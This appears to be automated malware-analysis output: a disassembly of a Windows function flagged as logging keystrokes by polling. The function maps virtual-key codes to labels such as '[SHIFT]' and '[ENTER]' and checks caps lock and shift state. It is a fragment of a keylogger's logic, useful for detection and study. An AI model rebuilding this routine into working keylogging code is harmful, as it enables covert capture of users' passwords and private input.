Function at 0x401560
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x20], rcx
mov dword [rbp - 0x18], edx
mov eax, dword [rbp - 0x18]
sub eax, 8
cmp eax, 0x26
ja case.0x4015a4.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x004b406c]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x004b406c]
add rax, rdx
jmp rax
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x51]
mov r8, rax
lea rdx, str._BACKSPACE_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x50]
mov r8, rax
lea rdx, str._TAB_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4f]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4f]
mov r8, rax
lea rdx, str._ENTER_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4e]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4e]
mov r8, rax
lea rdx, str._SHIFT_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4d]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4d]
mov r8, rax
lea rdx, str._CTRL_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4c]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4c]
mov r8, rax
lea rdx, str._ALT_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4b]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4b]
mov r8, rax
lea rdx, str._CAPSLOCK_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x4a]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x4a]
mov r8, rax
lea rdx, str._ESCAPE_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x4a]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x49]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x49]
mov r8, rax
lea rdx, [0x004b4046]
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x49]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x48]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str._LEFT_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x48]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x47]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x47]
mov r8, rax
lea rdx, str._UP_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x47]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x46]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x46]
mov r8, rax
lea rdx, str._RIGHT_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x46]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x45]
mov r8, rax
lea rdx, str._DOWN_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
lea rax, [rbp - 0x44]
mov rcx, rax
call fcn.00467ba0
lea rax, [rbp - 0x44]
mov r8, rax
lea rdx, str._DELETE_
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x44]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
cmp dword [rbp - 0x18], 0x2f
jbe 0x401892
cmp dword [rbp - 0x18], 0x39
ja 0x401892
mov eax, dword [rbp - 0x18]
mov byte [rbp - 0x41], al
jmp 0x401906
cmp dword [rbp - 0x18], 0x40
jbe 0x4018f0
cmp dword [rbp - 0x18], 0x5a
ja 0x4018f0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
sete al
mov byte [rbp - 0x42], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
shr ax, 0xf
test al, al
je 0x4018d2
xor byte [rbp - 0x42], 1
cmp byte [rbp - 0x42], 0
je 0x4018e8
mov eax, dword [rbp - 0x18]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
jmp 0x4018eb
mov eax, dword [rbp - 0x18]
mov byte [rbp - 0x41], al
jmp 0x401906
mov eax, dword [rbp - 0x18]
mov edx, 2
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
mov byte [rbp - 0x41], al
lea rax, [rbp - 0x43]
mov rcx, rax
call fcn.00467ba0
movsx eax, byte [rbp - 0x41]
lea rdx, [rbp - 0x43]
mov r9, rdx
mov r8d, eax
mov edx, 1
mov rcx, qword [rbp - 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp - 0x43]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401ac5
mov rax, qword [rbp - 0x20]
add rsp, 0x48
pop rbx
pop rbp
ret